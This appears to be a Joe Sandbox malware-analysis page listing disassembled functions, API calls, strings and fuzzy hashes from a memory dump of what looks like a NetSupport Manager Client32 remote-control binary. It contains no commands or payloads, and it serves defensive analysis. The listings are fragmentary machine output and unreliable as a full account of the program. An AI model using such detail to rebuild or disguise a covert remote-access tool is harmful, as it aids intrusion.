Stop tracing, almost terminated, xrefs: 1102DA88
TermUI..., xrefs: 1102D681
Termed, xrefs: 1102D690
Finished terminate, xrefs: 1102DAE6
pSlash, xrefs: 1102D964
delete gMain.ev, xrefs: 1102D7E2
*.*, xrefs: 1102D973
remove smartcard devices, xrefs: 1102D623
deleted ipc, xrefs: 1102D6B7
Unload Hook, xrefs: 1102D4DE
Error. Multiple Terminate. , xrefs: 1102D38C
HookDirectSound, xrefs: 1102D509
051829, xrefs: 1102D412
Audio, xrefs: 1102D50E
CLIENT32.CPP, xrefs: 1102D95F
Error %s unloading audiocap dll, xrefs: 1102D896
Terminate Client32 (err=%d), xrefs: 1102D362
Warning. Unprocessed notify, type=%d, xrefs: 1102D721

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Sleep$File$CloseExitFindMessagePostThread$HandleProcessWindows_free$AttributesClassCurrentEventFirstFreeIncrementInterlockedLibraryModuleNameNextObjectPrioritySingleWait_memset
String ID: *.*$051829$Audio$CLIENT32.CPP$Error %s unloading audiocap dll$Error. Multiple Terminate. $Finished terminate$HookDirectSound$Stop tracing, almost terminated$TermUI...$Termed$Terminate Client32 (err=%d)$Unload Hook$Warning. Unprocessed notify NC_CMD, cmd=%d$Warning. Unprocessed notify, type=%d$delete gMain.ev$deleted ipc$pSlash$remove smartcard devices
API String ID: 2369127096-616690651
Opcode ID: add873a8ab015faf9889e95090e84e2001c1be1f53f7e8c1ad7b83b87d9131ad
Instruction ID: 7f46233fb5632011b045e2eff7fc4cb47a6b13c38cfe1b2a85386abe64dfbaee
Opcode Fuzzy Hash: add873a8ab015faf9889e95090e84e2001c1be1f53f7e8c1ad7b83b87d9131ad
Instruction Fuzzy Hash: D212F778E001229FDB16DFE8CCC4E6DF7A6AB8470CFA401A9E52557644EB71BD80CB52

Function 1103B160 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 196fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHFOLDER(00000000,00000005,00000000,00000000,?), ref: 1103B1B2
GetUserNameA.ADVAPI32(?,?), ref: 1103B1D9

Part of subcall function 110D0710: __strdup.LIBCMT ref: 110D072A

DeleteFileA.KERNEL32(?), ref: 1103B23A
_sprintf.LIBCMT ref: 1103B2BB
_fputs.LIBCMT ref: 1103B330
GetFileAttributesA.KERNEL32(?), ref: 1103B3A1
_free.LIBCMT ref: 1103B336

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

SetFileAttributesA.KERNEL32(?,00000000), ref: 1103B3DF

Part of subcall function 11029450: _strrchr.LIBCMT ref: 11029545
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029584

Strings

IsA(), xrefs: 1103B226, 1103B25E, 1103B38D, 1103B3C7
%05d, xrefs: 1103B2B1
P, xrefs: 1103B1CF
\Rewards.bin, xrefs: 1103B1F1
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1103B221, 1103B259, 1103B388, 1103B3C2

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: File$AttributesExitProcess$DeleteErrorFolderLastMessageNamePathUser__strdup_fputs_free_sprintf_strrchrwsprintf
String ID: %05d$IsA()$P$\Rewards.bin$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 383231468-3762817415
Opcode ID: 2af526d8f5190e790c0ca9edbbc40dfe78f9b0864dccbff27541257fc5a2cfb5
Instruction ID: bb1b01960f0c7610cbc3075388277e5ec166904b02cd10daef8a33cd2ba906d0
Opcode Fuzzy Hash: 2af526d8f5190e790c0ca9edbbc40dfe78f9b0864dccbff27541257fc5a2cfb5
Instruction Fuzzy Hash: 7A71A235D4462AAFDB15CB64CC54FEEB3B4AF54308F0442D8E819A7284EB71AA44CFA0

Function 11033010 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 312COMMON

Download Yara Rule

Strings

openclip Error: Cant open clip, xrefs: 110332E2
Sendclip Error: Cant open clip, xrefs: 1103316D
Client, xrefs: 1103309E, 110331AB, 1103333A
CheckClip Error: Can't open clip, e=%d, xrefs: 110330F0
DisableClipBoard, xrefs: 11033099, 110331A6, 11033335

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID:
String ID: CheckClip Error: Can't open clip, e=%d$Client$DisableClipBoard$Sendclip Error: Cant open clip$openclip Error: Cant open clip
API String ID: 0-293745777
Opcode ID: 5f040545b05273c81cb9d4a4bd22d43a279a27486dfb0bd605f0804696ac8a8f
Instruction ID: daee403c678e01c213c7a1d72acf829bd0b7d6ab4ed81c5860d9e9f482a37d6e
Opcode Fuzzy Hash: 5f040545b05273c81cb9d4a4bd22d43a279a27486dfb0bd605f0804696ac8a8f
Instruction Fuzzy Hash: 7AA1F535B102069FD710DFA5DC91FAAF3A4EFD834AF10459DEA4A9B380DA31B940CB91

Function 11093080 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(11147750), ref: 11093089

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

OpenEventA.KERNEL32(001F0003,00000000,NSMFindClassEvent), ref: 110930B9
FindWindowA.USER32(NSMClassList,00000000), ref: 110930CA
SetForegroundWindow.USER32(00000000), ref: 110930D1

Part of subcall function 110914F0: GlobalAddAtomA.KERNEL32(NSMClassList), ref: 11091552

Part of subcall function 11092FF0: GetClassInfoA.USER32(110930EC,NSMClassList,?), ref: 11093004

Part of subcall function 11091620: CreateWindowExA.USER32(00000000,NSMClassList,00000000,00000000), ref: 1109166D
Part of subcall function 11091620: UpdateWindow.USER32(?), ref: 110916BF

CreateEventA.KERNEL32(00000000,00000000,00000001,NSMFindClassEvent,?,00000000,?,00000000), ref: 11093111

Part of subcall function 110916D0: GetMessageA.USER32(?,00000000,00000000,00000000), ref: 110916EA
Part of subcall function 110916D0: TranslateAcceleratorA.USER32(?,?,?,?,?,?,11093120,?,00000000,?,00000000), ref: 11091717
Part of subcall function 110916D0: TranslateMessage.USER32(?), ref: 11091721
Part of subcall function 110916D0: DispatchMessageA.USER32(?), ref: 1109172B
Part of subcall function 110916D0: GetMessageA.USER32(?,00000000,00000000,00000000), ref: 1109173B

CloseHandle.KERNEL32(00000000,?,00000000,?,00000000), ref: 11093135

Part of subcall function 11091590: GlobalDeleteAtom.KERNEL32(00000000), ref: 110915CE

Strings

NSMClassList, xrefs: 110930C5
NSMFindClassEvent, xrefs: 110930AD, 11093106

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: MessageWindow$AtomCreateEventGlobalTranslate$AcceleratorClassCloseDeleteDispatchExceptionFilterFindForegroundHandleInfoOpenUnhandledUpdate_malloc_memsetwsprintf
String ID: NSMClassList$NSMFindClassEvent
API String ID: 1622498684-2883797795
Opcode ID: a756580c972c2b1c89b543717e50c84920c15868da069fb40308e575ba74b854
Instruction ID: dc520b378aeee27ae2973ce0394f0415fb857a8947d0a09b3e9437a491b5cd63
Opcode Fuzzy Hash: a756580c972c2b1c89b543717e50c84920c15868da069fb40308e575ba74b854
Instruction Fuzzy Hash: 7111E976F4821D77EB00A6B51C69F6FBADC5B847A8F001024F92DD62C4EF14E401A7A6

Function 1115B1D0 Relevance: 13.6, APIs: 9, Instructions: 125windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11142DD0: _memset.LIBCMT ref: 11142DF9
Part of subcall function 11142DD0: GetVersionExA.KERNEL32(?), ref: 11142E12

_memset.LIBCMT ref: 1115B266
SendMessageA.USER32(?,000005FF,00000000,00000000), ref: 1115B29C
ShowWindow.USER32(?,00000006,?,?,?,?,?), ref: 1115B2AC
GetDesktopWindow.USER32 ref: 1115B309
TileWindows.USER32(00000000,?,?,?,?), ref: 1115B310

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Window_memset$DesktopMessageSendShowTileVersionWindows
String ID:
API String ID: 2935161463-0
Opcode ID: a7205b1e4ecbd9aa5000b534947fd741d9615ccee10b4499b543e29c859a81cd
Instruction ID: b14402a4e76bbdd80eea2f1b3df88d79255beb3666519cd349b4ccd6d2fbdf9c
Opcode Fuzzy Hash: a7205b1e4ecbd9aa5000b534947fd741d9615ccee10b4499b543e29c859a81cd
Instruction Fuzzy Hash: 39410271A00205ABEB809F64CDC5B6EF7B9FF46354F104065E925EB280DB70E940CFA9

Function 11063160 Relevance: 149.1, APIs: 42, Strings: 43, Instructions: 353libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(11074E10,ctl_version), ref: 11063177
GetProcAddress.KERNEL32(11074E10,ctl_installed), ref: 1106319C
GetProcAddress.KERNEL32(11074E10,ctl_netname), ref: 110631C2
GetProcAddress.KERNEL32(11074E10,ctl_remotename), ref: 110631E8
GetProcAddress.KERNEL32(11074E10,ctl_bridgename), ref: 1106320E
GetProcAddress.KERNEL32(11074E10,ctl_networks), ref: 11063234
GetProcAddress.KERNEL32(11074E10,ctl_pingnet), ref: 1106325A
GetProcAddress.KERNEL32(11074E10,ctl_open), ref: 11063280
GetProcAddress.KERNEL32(11074E10,ctl_close), ref: 110632A6
GetProcAddress.KERNEL32(11074E10,ctl_getsession), ref: 110632F2
GetProcAddress.KERNEL32(11074E10,ctl_call), ref: 11063318
GetProcAddress.KERNEL32(11074E10,ctl_hangup), ref: 1106333E
GetProcAddress.KERNEL32(11074E10,ctl_nsessions), ref: 11063364
GetProcAddress.KERNEL32(11074E10,ctl_connected), ref: 1106338A
GetProcAddress.KERNEL32(11074E10,ctl_send), ref: 110633B0
GetProcAddress.KERNEL32(11074E10,ctl_sendex), ref: 110633D6
GetProcAddress.KERNEL32(11074E10,ctl_sendif), ref: 110633EB
GetProcAddress.KERNEL32(11074E10,ctl_sendto), ref: 11063411
GetProcAddress.KERNEL32(11074E10,ctl_subset), ref: 1106341C
GetProcAddress.KERNEL32(11074E10,ctl_helpreq), ref: 11063468
GetProcAddress.KERNEL32(11074E10,ctl_maxpacket), ref: 1106348E
GetProcAddress.KERNEL32(11074E10,ctl_openremote), ref: 110634B4
GetProcAddress.KERNEL32(11074E10,ctl_closeremote), ref: 110634DA
GetProcAddress.KERNEL32(11074E10,ctl_callremote), ref: 11063500
GetProcAddress.KERNEL32(11074E10,ctl_pause), ref: 11063442

Part of subcall function 11029450: _strrchr.LIBCMT ref: 11029545
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029584

GetProcAddress.KERNEL32(11074E10,ctl_findslaves), ref: 110632CC

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

GetProcAddress.KERNEL32(11074E10,ctl_myaddr), ref: 11063526
GetProcAddress.KERNEL32(11074E10,ctl_loadbridge), ref: 11063531
GetProcAddress.KERNEL32(11074E10,ctl_getfailedreason), ref: 1106353C
GetProcAddress.KERNEL32(11074E10,ctl_escape), ref: 11063547
GetProcAddress.KERNEL32(11074E10,ctl_publishservice), ref: 11063552
GetProcAddress.KERNEL32(11074E10,ctl_publishserviceex), ref: 1106355D
GetProcAddress.KERNEL32(11074E10,ctl_findslavesex), ref: 1106356B
GetProcAddress.KERNEL32(11074E10,ctl_broadcastdata), ref: 11063576
GetProcAddress.KERNEL32(11074E10,ctl_sendname), ref: 11063584
GetProcAddress.KERNEL32(11074E10,ctl_getlocalipaddressinuse), ref: 11063592
GetProcAddress.KERNEL32(11074E10,ctl_clientpinrequest), ref: 110635A0
GetProcAddress.KERNEL32(11074E10,ctl_controlsendpin), ref: 110635AE
GetProcAddress.KERNEL32(11074E10,ctl_controlpinrequest), ref: 110635BC
GetProcAddress.KERNEL32(11074E10,ctl_clearpin), ref: 110635CA
GetProcAddress.KERNEL32(11074E10,ctl_getcodepage), ref: 110635D8
GetProcAddress.KERNEL32(11074E10,ctl_getconnectivityinfo), ref: 110635E6

Strings

ctl_subset, xrefs: 11063413, 1106342F
ctl_publishserviceex, xrefs: 11063554
ctl_sendname, xrefs: 11063578
ctl_findslavesex, xrefs: 1106355F
ctl_findslaves, xrefs: 110632C6, 110632DF
ctl_installed, xrefs: 11063196, 110631AF
ctl_getsession, xrefs: 110632EC, 11063305
ctl_myaddr, xrefs: 11063520
ctl_getconnectivityinfo, xrefs: 110635DA
ctl_pingnet, xrefs: 11063254, 1106326D
ctl_remotename, xrefs: 110631E2, 110631FB
ctl_close, xrefs: 110632A0, 110632B9
ctl_netname, xrefs: 110631BC, 110631D5
ctl_sendif, xrefs: 110633E5, 110633FE
ctl_call, xrefs: 11063312, 1106332B
ctl_escape, xrefs: 1106353E
ctl_networks, xrefs: 1106322E, 11063247
ctl_bridgename, xrefs: 11063208, 11063221
ctl_publishservice, xrefs: 11063549
ctl_maxpacket, xrefs: 11063488, 110634A1
ctl_closeremote, xrefs: 110634D4, 110634ED
ctl_controlpinrequest, xrefs: 110635B0
ctl_version, xrefs: 1106316F, 11063189
ctl_callremote, xrefs: 110634FA, 11063513
ctl_nsessions, xrefs: 1106335E, 11063377
ctl_pause, xrefs: 1106343C, 11063455
ctl_sendex, xrefs: 110633D0
ctl_clientpinrequest, xrefs: 11063594
ctl_sendto, xrefs: 1106340B
ctl_openremote, xrefs: 110634AE, 110634C7
ctl_connected, xrefs: 11063384, 1106339D
..\ctl32\Connect.cpp, xrefs: 11063184, 110631AA, 110631D0, 110631F6, 1106321C, 11063242, 11063268, 1106328E, 110632B4, 110632DA, 11063300, 11063326, 1106334C, 11063372, 11063398, 110633BE, 110633F9, 1106342A, 11063450, 11063476, 1106349C, 110634C2, 110634E8, 1106350E
ctl_loadbridge, xrefs: 11063528
ctl_hangup, xrefs: 11063338, 11063351
ctl_controlsendpin, xrefs: 110635A2
ctl_send, xrefs: 110633AA, 110633C3
ctl_clearpin, xrefs: 110635BE
ctl_open, xrefs: 1106327A, 11063293
ctl_getfailedreason, xrefs: 11063533
ctl_helpreq, xrefs: 11063462, 1106347B
ctl_getcodepage, xrefs: 110635CC
ctl_getlocalipaddressinuse, xrefs: 11063586
ctl_broadcastdata, xrefs: 1106356D

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AddressProc$ExitProcess$ErrorLastMessage_strrchrwsprintf
String ID: ..\ctl32\Connect.cpp$ctl_bridgename$ctl_broadcastdata$ctl_call$ctl_callremote$ctl_clearpin$ctl_clientpinrequest$ctl_close$ctl_closeremote$ctl_connected$ctl_controlpinrequest$ctl_controlsendpin$ctl_escape$ctl_findslaves$ctl_findslavesex$ctl_getcodepage$ctl_getconnectivityinfo$ctl_getfailedreason$ctl_getlocalipaddressinuse$ctl_getsession$ctl_hangup$ctl_helpreq$ctl_installed$ctl_loadbridge$ctl_maxpacket$ctl_myaddr$ctl_netname$ctl_networks$ctl_nsessions$ctl_open$ctl_openremote$ctl_pause$ctl_pingnet$ctl_publishservice$ctl_publishserviceex$ctl_remotename$ctl_send$ctl_sendex$ctl_sendif$ctl_sendname$ctl_sendto$ctl_subset$ctl_version
API String ID: 1096595926-1306570422
Opcode ID: cf51ba996edafb05b73b1d2fbab5a16ed4be44cc98c1f2e0f0545e03da82bd1f
Instruction ID: 5f24de0e2360826035fa82522da9b4a10218173402b610a7b1cd1951dc97c3b7
Opcode Fuzzy Hash: cf51ba996edafb05b73b1d2fbab5a16ed4be44cc98c1f2e0f0545e03da82bd1f
Instruction Fuzzy Hash: 96A15DBCF447927AD312AFB76C91FABFEE86F615D8B81042AF449E5901FA60F000C556

Function 11005360 Relevance: 44.0, APIs: 16, Strings: 9, Instructions: 214windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DE40: __itow.LIBCMT ref: 1105DE65

GetObjectA.GDI32(?,0000003C,?), ref: 11005435

Part of subcall function 1110F4A0: _malloc.LIBCMT ref: 1110F4A9
Part of subcall function 1110F4A0: _memset.LIBCMT ref: 1110F4D2

wsprintfA.USER32 ref: 1100548D
DeleteObject.GDI32(?), ref: 110054E2
DeleteObject.GDI32(?), ref: 110054EB
SelectObject.GDI32(?,?), ref: 11005502
DeleteObject.GDI32(?), ref: 11005508
DeleteDC.GDI32(?), ref: 1100550E
SelectObject.GDI32(?,?), ref: 1100551F
DeleteObject.GDI32(?), ref: 11005528
DeleteDC.GDI32(?), ref: 1100552E
DeleteObject.GDI32(?), ref: 1100553F
DeleteObject.GDI32(?), ref: 1100556A
DeleteObject.GDI32(?), ref: 11005588
DeleteObject.GDI32(?), ref: 11005591
ShowWindow.USER32(?,00000009), ref: 110055BF
PostQuitMessage.USER32(00000000), ref: 110055C7

Strings

PenStyle, xrefs: 110053BF
Annotate, xrefs: 11005388, 110053A6, 110053C4, 110053E2, 11005400, 1100541E, 110054A4
Font, xrefs: 1100549F
PenColour, xrefs: 110053A1
PenWidth, xrefs: 110053DD
FillStyle, xrefs: 11005419
FillColour, xrefs: 110053FB
Tool, xrefs: 11005383
%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%s, xrefs: 11005487

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Object$Delete$Select$MessagePostQuitShowWindow__itow_malloc_memsetwsprintf
String ID: %d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%s$Annotate$FillColour$FillStyle$Font$PenColour$PenStyle$PenWidth$Tool
API String ID: 2789700732-770455996
Opcode ID: 545b59c5a20981a964d2566c076ce67725319314088b52aa60ee8a5e99a3c4b0
Instruction ID: d9229358f4933b228272336fa2bf33a0883a331572b372d30b0232039735f129
Opcode Fuzzy Hash: 545b59c5a20981a964d2566c076ce67725319314088b52aa60ee8a5e99a3c4b0
Instruction Fuzzy Hash: 5C816975A00609AFD728DBB5C990EABF7F9BF8C304F00451DE6A697680DA75F801CB60

Function 110EB120 Relevance: 29.9, APIs: 8, Strings: 9, Instructions: 141windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

wsprintfA.USER32 ref: 110EB1B8
GetTickCount.KERNEL32 ref: 110EB212
SendMessageA.USER32(?,0000004A,?,?), ref: 110EB226
GetTickCount.KERNEL32 ref: 110EB22E
SendMessageTimeoutA.USER32(?,0000004A,?,?,00000000,?,?), ref: 110EB276
OpenEventA.KERNEL32(00000002,00000000,runplugin.dmp.1,?,00000001), ref: 110EB2A8
SetEvent.KERNEL32(00000000,?,00000001), ref: 110EB2B5
CloseHandle.KERNEL32(00000000,?,00000001), ref: 110EB2BC

Strings

%s, xrefs: 110EB1E3
Warning: SendMessage to Runplugin took %d ms (possibly unresponsive), xrefs: 110EB23A
TracePlugins, xrefs: 110EB140
INIT, xrefs: 110EB15C
DATA, xrefs: 110EB166
_debug, xrefs: 110EB14D
runplugin %s (hWnd=%x,u=%d,64=%d) , xrefs: 110EB1B2
Error. Runplugin is unresponsive, xrefs: 110EB2C2
runplugin.dmp.1, xrefs: 110EB29F

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
